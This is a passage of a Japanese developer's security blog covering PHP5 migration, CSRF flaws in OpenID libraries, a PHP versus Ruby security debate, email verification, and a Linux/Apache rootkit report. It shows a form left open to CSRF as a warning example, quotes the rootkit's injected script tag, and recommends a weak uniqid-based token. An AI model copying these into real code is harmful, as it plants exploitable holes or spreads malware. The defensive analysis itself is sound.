PHP 5.3のリリースノートを見て「こんなことならPHP 5.3のリリースまでPHP5への移行は待っていれば...」とならない為には、既存の企業PHP4ユーザはPHP5への移行は慎重に検討すべきです。
5 コメント
・新プロジェクト
PHP4系でやる意味はもはや無し。PHP5.2.xスタート。
・現在PHP4.4.xで動いているプロジェクト
5.3.xのリリースを待って移行
かなぁと思ってるんですが、2点ほど不安なことが。
・PHP5.3.0の提供時期
なんか結構揉めてる印象でいつになるやら。
・何を持って「実用レベルに達してる」と言うか
毎回悩みます。
・SRAのサービスを使うにしても・・・
仕方ないとはいえ「可能であればバックポートした修正パッチを提供します。」と保険がかけてあって
じゃあ、不可能な場合はどうするの?と不安が。
うーんうーん。
>・新プロジェクト
> PHP4系でやる意味はもはや無し。PHP5.2.xスタート。
もちろん新規プロジェクトをPHP4で始めるのはナンセンスです。(本文に追加しました)
アプリケーションはそのままでPHP4からPHP5に移行するだけのユーザの場合、コストをかけてPHP5に今移行するより、アプリの改修時などのタイミングに合わせてPHP5に移行するのが最良だと思います。
開発会社としては「単純にPHP5に移行するだけではもったいない。もう少し予算を付けて新システムリリースできるよう新機能も追加し、拡張性や安全性向上の為にコードのリファクタリング等も盛り込みましょう」と提案する方が良いと思います。発注側にもメリットがある提案だと思います。
> かなぁと思ってるんですが、2点ほど不安なことが。
>・PHP5.3.0の提供時期
> なんか結構揉めてる印象でいつになるやら。
何時になるかは今の所だれも分からない、と思います。
PHP6 - Unicode = PHP 5.3
という構図ある以上、個人的には、少なくともPHP6のα版くらいはリリースされないとPHP 5.3のリリースは無いはず、と思っています。
となるとPHP6アルファ版は何時?と言う話になると思いますが、開発している方の気持ちは遅くとも年内だと思います。
実用になるのは2年くらいかかるかも知れないと考えていると安全かと思います。取り合えずその2年間はPHP4アプリはそのままにして、新規案件だけはPHP5.2で作っておく、のが妥当な選択かと思います。2年経ってもPHP4のままの物はPHP5へ移行するのが良いかと思います。
# 全てのユーザが取れる選択肢ではないですが
# 同じサーバでPHP4とPHP5を動かす方法には
# - CGI版(FCGIが好ましい)とモジュール版の両方を使う
# - ポートを変えて両方を動作させ、プロキシで透過的にアクセスさせる
# などがあります。こうすればサーバリソースも無駄になりません。
>・何を持って「実用レベルに達してる」と言うか
> 毎回悩みます。
少なくともPHP 5.3.1までは待つ方が良いかと思います。(本当はPHP 6.1がリリースされるまで待つの吉かと思っています... PHP 5.0の惨状をご存知の方は良く分かる話だと思います。PHP 6.1がリリースされてもPHP 5.3のままである可能性は非常に高いと思います。もちろん最新版がPHP 5.4になっている可能性も捨てきれませんが、PHP 5.3からPHP5.4への移行は比較的容易になるだろうと予想できます) やはり自分でテストしてみるのが一番だと思います。現状のPHP 5.2でも仮想ホストを利用している環境では、ini設定がおかしくなる問題があったりしますが、このような問題は実際の運用環境に近い状態で検証しないと分かりません。
# こういう事があるので企業ユーザはPHP4からPHP5への移行は
# 難しいですよね... オープンソースなら取り合えずリリース、バグ報告
# はユーザから、で良いのですけど。
>・SRAのサービスを使うにしても・・・
> 仕方ないとはいえ「可能であればバックポートした修正パッチを提供します。」と保険がかけてあって
> じゃあ、不可能な場合はどうするの?と不安が。
専用の攻撃コードをPHPスクリプトとして実行しなければならないような問題は別として、リモートコード実行ができるようなバグは何があっても修正パッチが出るはずです。
実はバックポートだけでない、パッチも既にあったりします。このあたりは今までのPHP4のサポートよりパッチが早くてより安全だと言えると思います。
>PHP 5.0の惨状をご存知の方は良く分かる話だと思います。
これは自らが踏みまくってるので何とも言えない・・・(苦笑
流石に5.3はあの時ほど酷くはならないかなぁとは思うものの
PHP4から移行しようと思うとやっぱりリスキーですね・・・。
(何よりシステムの移行をしたあと、問題がないことを証明するのが難しい)
>実はバックポートだけでない、パッチも既にあったりします。
>このあたりは今までのPHP4のサポートよりパッチが早くてより安全だと言えると思います。
なるほどー。
出来たらそういうことはもうちょっとアピールしてほしいなぁ、と感じます。
>PHP6 - Unicode = PHP 5.3
>という構図ある以上、個人的には、少なくともPHP6のα版くらいはリリースされないと
この間、Zendジャパンのセミナーにいってきたのですが、5.3にUnicodeが入るようです。
6のテスト版が5.3って感じかもですね。
少なくともPHP開発者の間でUnicodeサポートと言うと、ZendEngineのUnicodeサポートの事を意味します。
ZendEngineのUnicodeサポートはICUを使って実装されていますが、ICUの別の機能(ロケールやエンコーディング変換)などはZendEngineと関係ない部分もあります。これらの部分がPHP 5.3にもバックポートされる予定です。
ですから、UnicodeサポートがPHP 5.3に入る、と言う表現はあまり適切でないと思います。
PHP6のUnicodeサポート
- binaryの導入
- string型の場合、文字列がUnicodeとして扱われる
- 互換モードの提供
- string型がUnicode文字列の場合、モジュール関数が文字列をUnicode文字列として認識するように変更
(代表例がstrlen)
といったところが代表的な違いです。ZendEngineのバージョンが異なるので、当然ですがこれらはPHP 5.3では実装されません。
コメントを残す
OpenIDのライブラリにはCSRFに脆弱な物が多い
GNUCitizenによると
CSRF - It comes very handy. It seams that no matter how much you talk about it, very few pay attention on the problem. And it is not a problem that you can afford to have. And among the XSS issues, which most OpenID libraries have, CSRF (Cross-site Request Forgery) seams to be the most pervasive form of attack.
http://www.gnucitizen.org/blog/hijacking-openid-enabled-accounts
とほとんどのOpenIDのライブラリはCSRFに脆弱だそうです。
tiny problemと書いてありますがとても重要な問題です。OpenIDのようなSSO (Single Sign On)システムが脆弱だとそれを利用しているシステム全体が危険にさらされます。
...
これは一目見るだけでCSRFに脆弱であることが分かります。
<form method="post">Add identity:
<input id="openid_url" name="openid_url" />
<input type="submit" value="Add" />
<input type="hidden" name="action" value="add_identity" >
</form>
Web開発者で分からない場合は直ぐにセキュリティ対策の書籍を購入された方が良いと思います。
久しぶりにAmazonの私のセキュリティ本のページを見ると「日本語が変」とコメントが付いてますね。このブログをお読みの方は私が文章を書くことがあまり得意でない事はよくお分かりだと思います(笑 日本語が変なので内容が信じられるか疑問とも書かれていますが、内容は大丈夫です。「プロアクティブなセキュリティ対策」などは先取りしすぎだったくらいかも知れません。
Webアプリセキュリティ対策入門を読んで理解されていれば、CSRFに脆弱なアプリケーションなど作らないはずなのです。
# といってもOpenIDのライブラリのほとんどは海外で作られていると思います。
# ところでこの本、あまり売れていないのでこのままでは次が無いと思います。
# AJAXセキュリティの本が書きたいのですけどね。残念。
初心者はセキュリティの事など考えずに作ればよい、といった意見も散見します。しかし、Webサイトの構築は自動車を作って売るのと同じと考えると、セキュリティが重要な事が分かると思います。
自動車は「外見がカッコよくて、そこそこ走れば良い」ものではありません。ブレーキが効かなかったり、ちょっとぶつかっただけで爆発したりすると困ります。その自動車を買って乗っている人だけでなく、周りのいる方にも多大な迷惑をかけます。
Webサイトも同じで「外見がカッコよくて、そこそこ使えれば良い」ものではありません。紹介されている脆弱なOpenIDライブラリを使えば、そのOpenIDを利用しているユーザに多大な迷惑をかける事になるかも知れません。XSSに脆弱であればマルウェア配布に利用されたり、クレデンシャルを盗まれる可能性があります。SQLインジェクションに脆弱でパスワード管理がいい加減だとユーザ名とパスワードを全部盗まれるかも知れません。SQLインジェクションに脆弱であれば恒久的なXSSやマルウェア配布用のJavaScriptを埋め込む事も簡単にできるケースが少なくありません。
Webサイトはたとえそれが小規模なサイト、個人サイトであっても「外見がカッコよくて、そこそこ使えれば良い」ものではありません。
追記:
OpenIDを採用しているサイトが危ない、ということではありません。認証情報を共有しているとサイトが危ないと言うことです。念のため。
上記のフォーム例だとCSRFでユーザの追加が可能であると思われます。不正にユーザが追加できる程度なら多くのサイトでtiny problemと言えるかも知れません。仮にこのブログの場合、不正にユーザが追加できるとファイルのアップロード(ファイル名も多分自由に変更できると思うのでApacheの脆弱性も攻撃可能)などで攻撃できそうです。管理者ならHTMLの編集もできるのでセッションIDを盗んだり、なんでも出来ます。
関連情報:
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-0570
The OpenID 5.x-1.0 and earlier module for Drupal does not properly verify the claimed_id returned by an OpenID provider, which allows remote OpenID providers to spoof OpenID authentication for domains associated with other providers.
1 コメント
現在は営利目的の攻撃が当たり前なので、基本的にこれらの攻撃はほどんと表沙汰になりません。
http://blog.ohgaki.net/linux-apache
http://blog.ohgaki.net/ftp-cpanel
などの様にかなり自動化され、さらに普通に管理していただけではほとんど気が付かないような攻撃もあります。この攻撃では少なくとも1万台以上が感染しているとされています。マルウェア配布を行っているサイトは常時数十万ドメインあると言われています。
全体数からみると「攻撃されるのは、まれだ」と言えるかも知れませんが、これらの数字は氷山の一角でしかない、と考えた方が良いです。日本語サイトの場合、言語の壁があるのであまり実感がないのかも知れません。しかし、中国などからの自動化されたSQLインジェクション攻撃などは日常です。
先日、高校生が3600万円相当のゲーム通貨を不正に取得したニュースがありましたが、試しにやってみたら10分くらいでできた、そうです.... RMTが当たり前なご時世なようですがセキュリティに気を付けてないところはこの程度なのか.... と思っていまいます。
Webアプリケーションのセキュリティ対策は難しく考えられ過ぎです。プログラミングをきちんと習得することに比べてれば、実用レベルのセキュリティ対策の知識を身につけるのは容易です。これについては別エントリで書く事にします。
コメントを残す
どの言語で書いてもおかしなコードを書く奴は書く
# 書きかけです。後で編集予定
「Web屋のネタ帳」のどの言語で書いてもおかしなコードを書く奴は書くに対するコメントです。その記事にはRubyのまつもと氏のブログの引用もあるのでそちらにも対するコメントでもあります。
言語が良いコードを書けるようサポートする事はできると思います。しかし、言語だけによって良いコード(安全なコード、メンテナンスし易いコードなど)が書けるようにはならないのではないでしょうか? 言語だけでは不十分だからです。
...
「どの言語で書いてもおかしなコードを書く奴は書く」とは昔から言われてきた事です。同じ人がおかしなコードを書きつづける場合もあるとは思いますが「どの言語のユーザでもおかしなコード(危険なコードであったり、メンテナンスが難しいコード、無駄が多いコード)を書く人はいるものだ」の意味で使われていると思います。
言語によってセキュアな物ができる、できない、の話になるとレベル合わせが必要だと思います。
PHPが作られた当初はともかく、現代では(セキュリティ的に弱いものができあがってしまいがちという意味で)害悪ではないだろうか。
これはPHPがtaintモードをサポートしていないからでしょうか? 少なくとも1年程は前だと思いますが、Railsはtaintモードでは動作していなかったことはまつもと氏もご存知だったと思います。今はtaintモードでも動作するのかも知れません。しかし、セキュリティ的にはtaintモードは有れば良い程度の機能だと考えています。アプリケーションはtaintモードより、完全な入力バリデーションに頼るべきだと考えているからです。
それとも、PHPは言語レベルでWebフレームワーク的な機能をサポートしすぎていて、コードをちょっと書くだけでWebアプリが作れる、つまりコードをちょっと書いただけでセキュリティ対策ゼロのWebアプリが作れてしまう、事が害悪と言われているのかも知れません。
もしかするとPHP本体やデフォルトモジュールには他の言語に比べてセキュリティホールが満載だ、と勘違いされているのかも知れません。PHP本体のセキュリティ情報が多い理由はこれを参照していただくその理由が分かります。
いずれにせよ短い文の意図を想像しているで間違っているかも知れません。
RubyでWebアプリケーションを書くなると私もRailsを使うと思います。RailsにはActiveRecordや認証プラグインなどもあり比較的安全なWebアプリを短期間に構築できます。しかし、言語として「Rubyで書いたから、比較的安全なWebアプリケーションが作られがちになる」のではなくWebアプリケーションフレームワークである「Railsで書いたから、比較的安全なWebアプリケーションが作られがちになる」のだと考えています。
私はフレームワークは万能ではない、とよくセミナー等で話しをします。同時に、フレームワークはより安全なアプリケーション構築に非常に有用であり積極的に利用すべき、とも話しています。安全なアプリケーション構築にはフレームワークが欠かせないのです。予想ですが、同じような資質を持ち同じような経験を持つプログラマが同時に初めてPHPとRubyを習い、フレームワーク無しでWebアプリケーションを作った場合、PHPで構築した方がよりセキュアなアプリケーションができるのではないかと思っています。これはPHPの方がよりWebアプリフレームワーク的な機能を持ち合わせているので、PHPの方がより安全なWebアプリケーションを構築する可能性が高いであろう、と考えるからです。
同じような資質を持ち同じような経験を持つプログラマがRailsと同等の機能を持ったPHPのWebアプリフレームワークを用いてWebアプリを構築した場合、ほぼ同じセキュリティレベルのアプリケーションが作れるのではないかと考えています。
ちょっと極端な例を書きますが、C言語でWebアプリケーションを作っるのは普通はナンセンスだと思います。C言語は非常に柔軟かつ強力である半面、厳格なメモリ管理が要求されうえWebアプリケーションで必要なデータ型に対する柔軟性に欠けます。CとPHP/RubyどちらがWebセキュリティ上良いコードがかけるのか比べなくても分かります。Cの場合はセキュリティ上のリスクが多すぎます。
C vs. PHP/Rubyの場合、土俵が違いすぎます。Cの場合、Webアプリケーションを安全に構築するため言語的なサポートは無いので、危険なアプリケーションを作ってしまう可能性が高くなります。フレームワークがあったとしてもCは言語仕様的に脆弱なアプリケーションを作ってしまう危険性があります。C言語でWebアプリを構築するのは、よほどの事が無い限り
現代では(セキュリティ的に弱いものができあがってしまいがちという意味で)害悪ではないだろうか。
と言えると思います。
PHPとRubyの場合はどうでしょうか。2つの言語の機能には大きな違いがあります。しかし、同じスクリプティング系の言語です。出来上がったアプリケーションのセキュリティレベルの比較は「土俵が全く違う」と言えるほどの違いはありません。どちらとも同じレベルのプログラマがコードを書いた場合、同じレベルのセキュリティを達成可能な言語だと思います。フレームワークが同じレベルなら、同じような物が作れると言うことです。
もう一つ重要なのは、ユーザ層の違いです。PHPは商用サービスで利用されている事例、オープンソースプロダクトに利用されている事例がRubyと比較すると比べ物ならないくらい多いです。このため、PHPユーザベースはRubyと比較にならないくらいユーザ数が多いです。つまり比較にならないくらい多くの初級者がいます。私はPHPを初めての言語として習得するのではなく、C/C++などのメモリ管理を自分で行う言語を取得した方が良い、と思っていますが、「PHPが初めて」の方も多くいるようです。「XSS?CSRF?セッションハイジャック?なんですかそれは?」とWebシステムのセキュリティ基礎中の基礎と言える知識さえ無い方も少なくありません。
Rubyの場合は玄人向けの言語(最近ではそうでもないがクロージャをサポートする言語は玄人向け、というのが私の認識です)であったため、ユーザ層はPHP比べ物にならいくらい「玄人」の割合が多いと思います。最低限のXSS,CSRF,セッションハイジャック等のWebセキュリティの基礎知識くらいは持っている方の割合が、PHPとは比べ物にならないくらい多いと思います。よりセキュアなコードが書けて当然です。
このような状況で「PHPで作ると脆弱なアプリケーションが作られやすいので害悪」とするのは無理があると思います。
RubyまたはPHPで作ったWebアプリケーションのどちらがよりセキュアになるかどうか、問題の本質は言語にあるのではなく「どのようなフレームワーク上で構築しているか」にあると思います。
柔軟であることは良いことばかりか
JavaScriptは比較的新しい言語ですが仕様が柔軟過ぎて、思わぬセキュリティホールを作ってしまったりします。
例:JSONデータのハイジャック
RubyもJavaScriptと同じように柔軟過ぎて(どんなオブジェクトをどこでも拡張できる)困った事になってしまう事も多いでしょう。
例:大規模プロジェクトで「だれだ、こんなところでオブジェクトを拡張(変更)したのは!」など
Ruby on RailsがRubyで実装されたのは、RubyとPHPではRubyの方がはるかにJavaScriptに似たコーディングが可能だからだと思っています。(RoR作者のブログにもそのような旨が記載されていたように思います)PHPでJavaScriptのメタファでコードを書こうとすると無理がありすぎです。RubyとJavaScriptなら同じような事(コーディング)がサーバとクライアントの両方で可能です。
# メタファ:我々の基本的な認知能力のうちのひとつ
PHPにはクロージャが無いのですから同じ事が同じようにかけるはずがありません。
RubyもJavaScriptも基底オブジェクトを持っていますが、PHPには基底オブジェクトと言えるようなオブジェクトはありません。
RailsとPrototypeのコードを読むと分かりますが、両方ともが必要としている機能であることが少し読むと解ると思います。RailsがPHPで実装されなかった理由はここにあるはずです。RoRをPHPで実装しようとして苦労して、Rubyだったら簡単だったのはコードを読めば一目瞭然だと思います。
しかし、柔軟であることは良いばかりではありません。柔軟過ぎると「どの言語で書いてもおかしなコードを書く奴は書く」が発生しやすくなります。柔軟であるが故にわけの分からないコードが生成されます。
BASICをご存知の方は耳に蛸が出来るくらい聞いていると思います。「GOTO文があるのでスパゲティコードになる」と言われていました。GOTO文を正しい状況で使うとコードを非常に簡潔かつ解りやすく書くことができます。しかし、GOTO文の柔軟性は乱用されがち(というより乱用の方が多かった)なのでBASICで書いたコードは使えないコードが多いと言われていた事を覚えている方も多いと思います。
「どの言語で書いてもおかしなコードを書く奴は書く」方は柔軟な言語や開発環境であればあるほど、おかしなコードを書いてしまいます。クロージャはあまり関係無いとしても、オブジェクトを柔軟に拡張出来すぎる仕様はBASICのGOTO問題と同じような問題の原因となる可能性が高いです。柔軟であることは良いことばかりではないのです。
制限が多いことは悪いことばかりか
良いコーディングができるように初心者をサポートする言語はスタティック言語な方が良いのではないか、と思っています。また、コードの書き方にも縛り(制限)があった方が良いのではないでしょうか?
PHPよりJavaの方が大規模プロジェクトに向いている
とよく言われました。Javaの方がより静的な言語(コンパイル型なので当たり前ですが)だから「大規模プロジェクトに向いている」と言われている(いた)のだと思います。PHP5は他の動的言語に比べかなり静的になっていますが、PHP4までは$thisに何でも代入できたり、既成のオブジェクトを自由に拡張することもできました。(とは言ってもRubyやJavaScriptの足元にも及びませんが)Javaに比べPHPの方がはるかに縛りが少なく、同時に訳の分からないコードを書くこともできました。しかし、おかしなコードが書けることよりも大規模プロジェクトに向かないとされた一番の理由はライブラリ/フレームワークなどでの縛りが効かなかったことにあると思います。
大規模システムは作るだけ、では終わりません。運用・メンテナンスを如何に容易に行うかが重要になります。概ね(良い)制限が多いシステムは見通しが良くなる傾向にあります。
制限が多いと「どの言語で書いてもおかしなコードを書く奴は書く」ような人でも、それなりに理解ができるようなコードを書く可能性が高くなります。
今後どのようになるのか
PHPとRubyを比べるとRubyの方がはるかに動的で柔軟です。PHPは他のスクリプト系言語とは反対にここ数年、静的な言語へと仕様が変更されてきています。
ここに興味深いプロセスが見えています。
スタティックな言語からダイナミックな言語への流れ(JavaScript, Rubyの人気上昇)
Javaは元々静的な言語であるのでJRubyが実装されたのも、Javaには無い物(クロージャ、自由なオブジェクトの拡張など)がRubyにあったからでしょう。
Rialsのおもしろい所は言語は制限が少なくても、フレームワークの制限は多い所です。制限を儲ける事により設定ファイル等が必要なくなる半面、柔軟性を減らしています。この辺りのバランスが非情に良いのでRailsは玄人受けが良いのだと思います。
PHPは反対の方向性
動的な言語からJavaに近い静的な言語へ
で拡張してきています。制約が多い言語へと進んでいるPHPですが、フレームワークを見るとZend Frameworkの様に明確な制限がないライブラリのようなフレームワークが新たに作られたりしています。
ここ数年、間違いなく関数型言語や関数型言語に影響を受けた言語の人気が高まってきていると思います。まだ、当たり前になった、とまでは行かないですが今後どうなるか?興味深い所です。玄人向けの機能として終わるのか、それともオブジェクト指向の様に当たり前になるのか?
関数型言語の人気は未来のRubyとPHPの勢力図に大きな影響があると思います。
Wikipedia: 関数型言語
関連URL:
http://slashdot.jp/askslashdot/08/02/03/0022251.shtml
この件は、他にもかなりいろいろな所で話題になっているようですね。
2 コメント
クロージャが当たり前になる頃にはPHPもクロージャ(ブロック)をサポートするかも知れません。
コミットされたか確認してませんが、lambdaは日本人の方がパッチを書いています。多分コミットされる(された?)でしょう。
ところで、人は時々極端な意見を書きたくなるものです。私も先日「To宛のメルマガは全部SPAM認定します」と書いたばかりです。行間を読めないかも知れませんが、行間を読むと言いたい事は理解できるのではないか、と思います。なので、まつもと氏が書かれている意図も実は私自身は割と正確に解っているのではないか、と思っています。
PHPの標準ライブラリ関数は命名規約の変更もあったので、名前がバラバラだとか、場当たりで作った関数が他の関数と整合性が取れていなかったり、とか色々問題があります。私もダメ過ぎるとは思います。
PHP5の開発段階でPHP5でおかしな所は直してしまおう、と提案したことがあります。様々な思惑などから実現しませんでした。(Zend的にはPHP5の普及を早く進めたいとか、いろいろ)Python 3000の様なバージョンアップをすべきなのですが...
PHPがダメ過ぎると言われている原因は、開発で中心的な役割をになう開発者が不在だからです。PHPはある意味、究極のバザールモデルで開発されています。バザールモデルで開発しているからダメとは言えないのはLinux vs. FreeBSDの開発手法で証明されています。しかし、究極のバザールモデルが衰退の原因となる可能性は否定できません。バイナリセーフでない文字列処理関数などをそのままにしておくのも問題だと思いますが、仮にそれは仕様だからということで修正しないのであれば、PHPのマニュアルで、安全に動かすための書き方といった、いわゆるベスト・プラクティスを紹介するべきではないかとも思います。
Railsで書いてもセキュリティ上問題があるプログラムは簡単に作れますが、書籍やマニュアルなどで注意が書かれていることが多いように感じます。そのあたりのセキュリティ問題に対する態度の違いというのが両者に対する評価の違いになってきていると思います。
なお、初心者の教育のためにはスタティックな言語の方が向いているという点については同感です。
コメントを残す
ロケール問題を修復
先日b2evolutionのアップグレードを行った際にロケールファイルの設定に漏れがあり普通に参照すると強制的にISO-8859-1への変換が行われ、????となってしまっていました。
この辺りの仕様はおかしな所もあるので、普通に動作するようパッチを書いて送る事にします。
問題をご連絡頂いた皆さん、ありがとうございました。
追記:
ついでに前から気になっていたURLも修正しました。
http://blog.ohgaki.net/index.php/yohgaki/article
といった感じでしたが
http://blog.ohgaki.net/article
でアクセスできるようにしました。もちろん前のURL形式でアクセスしてもリダイレクトで表示できるようにしています。
追記:
さらにRefererスパム防止機能のため、はてなブックマークからのリンクをクリックするとSPAM防止用ページが表示されていました。この機能を無効にしたので「はてな」からもアクセスが容易になりました。問題を教えてくださった方、ありがとうございます。
フィードバックはまだありません...
コメントを残す
正しいメールアドレスのチェック方法
正しいメールアドレスのチェック方法がちょっとした話題になっているようです。Web屋のネタ帳でも取り上げられていますが、メールアドレスのチェック方法自体は解説していません。ついでなので書いておきます。
「本当に正しいメールアドレスかチェック」するには実際にメールを送信して、送信されたユーザしか知り得ない情報をユーザが知っている事により確認しなければなりません。これはWeb屋のネタ帳で解説されている通りです。
...
きちんと正規表現でメールアドレスをチェックするのは面倒です。しかも、RFCを守らない大手企業もあり、正規表現でチェックするのは諦めるのが妥当でしょう。
記入されたメールアドレスが正しいかチェックする手順
- @でスプリットする
- 配列要素が2つかチェック。NGはエラー
- 1つ目の要素(ユーザ名部分)および2つ目の要素(ドメイン部分)に空白や制御文字、非ASCII文字が含まれていないかチェック。NGはエラー
- 2つ目の要素(ドメイン部分)がDNSのMXレコードを持つかチェック。NGはエラー
これらのチェックに通過したメールアドレスはOKとしています。
これならおかしなアドレスを使っている某社の事等も考えずに済みます。MXレコードを持つサーバに限定すると、DNS設定を正しく行っていないメールサーバは受け入れなくなります。必要ならDNSが引けるかどうかだけのチェックにしておいても構いません。
備考:RFC的にはAレコードがあればメール送受信に支障は無いです。管理者の設定ミス/経験不足などでMXレコードが無いケースも考えられます。ダイナミックDNSを利用したメールサーバもあります。しかし、普通のメールアドレスのドメイン部分はMXレコードを持っています。ダイナミックDNSでメールサーバ運用する事はお勧めできる運用形態ではありませんが、MXレコード無し運用されているサーバがあるのも事実です。こういったサーバのメールアドレスも許可したい場合はMXでなくA/CNAMEレコードが引けるかチェックします。ただし、「ダイナミックIPのメールサーバを許可する=クライアントに自前メールサーバを許可する」事になります。これでは「正しいメールアドレスか確認する」目的が達成できない点に注意してください。(だれでも認証の時だけ使えるアドレスを用意できる)
PHPのmail, mb_send_mail関数は関数レベルでメールヘッダインジェクション対策が施されているので、CR,LFが混じっていてもインジェクション攻撃に脆弱になりません。しかし、他の環境ではメールヘッダインジェクションが可能になる場合があります。最低限、CR、LFだけはチェックし、含まれる場合はセキュリティ上のエラーとして処理(攻撃が行われたとアラートを発生させる等)しなければなりません。
後はメールを送信して認証するだけです。
- 認証URLを含むメールを送信
- 認証URLがリクエストされる
- 認証用の鍵が一致するかチェック。不一致はNG
ところで、メールアドレス認証等に使う鍵は十分なエントロピーを持ったデータのハッシュ値(SHA1など)を利用するようにします。UNIXなら/dev/urandomが良いと思いますが、urandomでなくてもPHPのuniqid関数の出力等でも十分なエントロピーを持っている考えて大丈夫です。
$token = sha1('SOME_RANDOM_PREFIX' . uniqid(rand(), true));
最後に、迷惑メール防止のため一定時間は同じメールアドレスに対して認証用のメールを繰り返し送信しないような仕様にする事を忘れない様にします。
6 コメント
もちろんAレコードがあれば十分とは知っています。
意図的にAレコードを除外しているのは
- ISPのメールサーバでMXレコードが定義されていないサーバは無い(はず)
- メールホスティングなどのサーバもMXレコードが無いサーバは無い(はず)
- 普通の組織が設置しているメールサーバもMXレコードを定義していないサーバは無い(はず)
だと思われるからです。さらに、
Aレコードで十分=ダイナミックIPのメールサーバでもOK
となってしまうからです。
ダイナミックDNSで常時運用しているメールサーバがあります。リスクを承知の上で個人的な用途として利用するには問題無いでしょう。しかし、今回のエントリの意図は「正しいメールアドレスか確認」することにあります。AレコードだけでもOKにすると、IP非固定のサービスから一時的に使えるメールアドレスを入力し、認証を取得する事も可能になります。
この様な状態は「正しいメールアドレスか確認する」という意図を達成できません。実際のサービスでもMXレコードが引けるか確認するだけで十分です。
あまりないとは思いますが、運用されているサイトユーザの多くがダイナミックDNSでメールサーバを運用していて困る、場合にのみAレコードが引けるだけでも正しいメールアドレスとするのが良いと思います。
この事を書いていないのは不親切と言えるので本文に追加しました。
ところで「ダイナミックDNSサービスでメールサーバを運用するリスク」とは、メールがスパムとなってしまうリスクの事です。今のスパム検出システムはIPアドレスブロックからダイナミックIPからスパムとみなす事は稀ではありません。MXレコードが無いドメイン部分を持つアドレスもスパム認定される原因になります。スパム全盛のこの世の中です。まっとうなメールサーバでMXレコード無しのAレコードだけの場合は設定ミス以外はほどんど無い、と言えると思います。
# ところで、ダイナミックDNSでもMXレコードを付ける事は可能です。
# ただしIPアドレスからスパム認定される可能性は排除できません。
現実的にはどうどうとRFC違反をしているDoCoMoやAUもあります。真面目にチェックするのが馬鹿らしいのでチェックしていません。
普通は
メールアドレスが正しい=ユーザへ送信できユーザが受信できる
でも良いと思います。ユーザからすると受信できないメールアドレスを入力しても意味がない(認証できない)のであえてチェックする必要もないと考えています。
しかし、Microsoftの様に強権は発動して明らかなRFC違反メールを使えないようにするのも悪くない、と思っています。できるできないは別にして、本当は全てのサイト/メールサーバが明らかなRFC違反メールアドレスを使えないようにするのが一番良いと思っています。
いくらでもありますよ...
>いくらでもありますよ...
大学などならいくらでもあるかも知れませんね。大学は普通の組織ではない(?)と定義した方が良いのかもしれません。
きちんと設定する様にシステム管理者に頼むのが一番かと思います。(正規のメールサーバを使えばMXも付いていると思います)
今時でも外部にメールを送受信するサーバが決まっていなかったりするのですか?今の国立大学でも。
きちんとした企業/組織なら外部と送受信できるメールサーバを勝手に設置することは、普通はできません。
MXレコードがないメールサーバは「普通のメールサーバではない」と言っても、今は差し支えないと思います。
受信できるものいい加減なアドレス(ただクライアントが接続しているだけのダイナミックIPなど)でもなんでも許可したい、場合はAレコードが引けるかどうかチェックすれば良いでしょう。
何度か書いてありますが、MXレコードもないようなメールアドレスは「正しいメールアドレス」と呼ぶにはふさわしくない、と私は考えています。もちろん強制するつもりはありません。
コメントを残す
Linux/Apacheを狙った攻撃 - 確認方法はmkdir 1
OpenTechPressにLinux/Apache系Webサイトを狙った正体不明の攻撃についての現状報告と気になる記事があります。
この攻撃ですが、結構話題になっていて私のブログでも先日FTPとCPanelユーザはクラッキングに注意が必要と題したエントリを公開しています。OpenTechPressの記事中にもcPanelの件は紹介されていますが、非常に気になる記述がある
問題のルートキットを検出する方法ないし、感染の確認されたサーバの洗浄法についてアドバイスが得られないかをApache Software Foundationに問い合わせてみたが、Apacheのセキュリティ対策チームに属するMark Cox氏から得られたのは、「現状で攻撃者側がサーバ群のルートアクセスを得た方法の詳細はつかみ切れていませんが、同時にApache HTTP Serverに潜む脆弱性に起因していることを示す証拠も得られていません」という回答である。
Linuxサーバにルートキットがインストールされるらしい。そしてその確認方法は
感染後は数字で始まるディレクトリの新規作成が行えなくなるとされている(例えば「mkdir 1」など)。
としています。ルートキットなのでps uaxなどとしてもプロセスリストには出てこないはずです。本当にmkdir 1でファイルが作れないなら試してみるのも良いかもしれません。ただし、mkdir 1でファイルが作れないのはルートキットのバグと考えられるます。最新版では修正済かもしれません。記事に紹介されているようにパケットをモニタリングする方法の方が確実でしょう。
rootのパスワードを推測した可能性が高いと記載されていますが本当のところはどうなのか気になります。
この攻撃のすごいところは、その手法がかなり洗練されている点です。
How a Rootkit works
1. Once the Rootkit is successfully installed, the server will sit idle until rebooted. During a server reboot, the system initialization scripts will call the infected binaries.
2. When executed, the infected binary packages use /dev/mem as a pathway to the Kernel, and then attach to several system calls within the running Kernel. This results in hidden files, broken binary packages, and random JavaScript code being seen by web visitors.
3. When the system is fully online in an infected state, the Kernel will begin serving a JavaScript payload to random web requests/visits. This occurs outside of Apache and will not be seen in any of the Apache logs. The JavaScript injection will look like:
<script language='JavaScript' type='text/JavaScript' src='cbolw.js'></script>
http://servertune.com/kbase/entry/258/
ApacheやPHPなどのWebアプリケーションレベルで攻撃用のJavaScriptを送信しているのではなく、ルートキットがインストールされたカーネルから送信している、としています。
アプリケーションレベルはもちろん、Apacheのログにも残らず、不審なファイル/プロセスも見えないこの攻撃はかなりの脅威です。
フィードバックはまだありません...
コメントを残す
最大のP2PネットワークはThePrivateBay
The Pirate Bay Breaks 10 Million Users
10 million simultaneous users represents a number never duplicated by any file-sharing entity. The largest P2P networks, such as FastTrack and eDonkey2000, both topped out with approximately 5 million users.
1000万「同時」ユーザだそうです。これはすごい数です。基本的にはキャッシュを効かせてリバースプロキシの効果を最大限に利用して... といった感じなのだとは思います。しかし、検索機能もあり試しに検索しても遅くないです。
もう少し覗いてい見ると日本のコンテンツはあまりないようですが、海外のコンテンツは豊富なようです。また、アダルトコンテンツが公開のページには無いようでそれが人気の理由なのかな、と思います。
確か一度閉鎖されたことがあるサイトだったと思うので調べるとありました。
http://ccr2.blog9.fc2.com/blog-entry-1761.html
今はどんな状態で運用しているのでしょうね?
コンテンツの著作権をもつ方々はこのような状態にどのように対処するか思案が必要でしょう。基本的にはDRM無しで広告収入で儲ける合法的な手法を提供するのが良いと思います。無料コンテンツはビットレートが低い物、ビットレートが高い物は有償で、といった感じが良いのではないかと思います。しかし、ビットレートが高い物を有償化しても、ビットレートの高いデータその物がまた違法に公開されるので意味が無い、となってしまうかも知れません。どう折り合いをつけるか難しいですね。
フィードバックはまだありません...
コメントを残す
安全にInternet(ブラウザ)を利用する為のTips
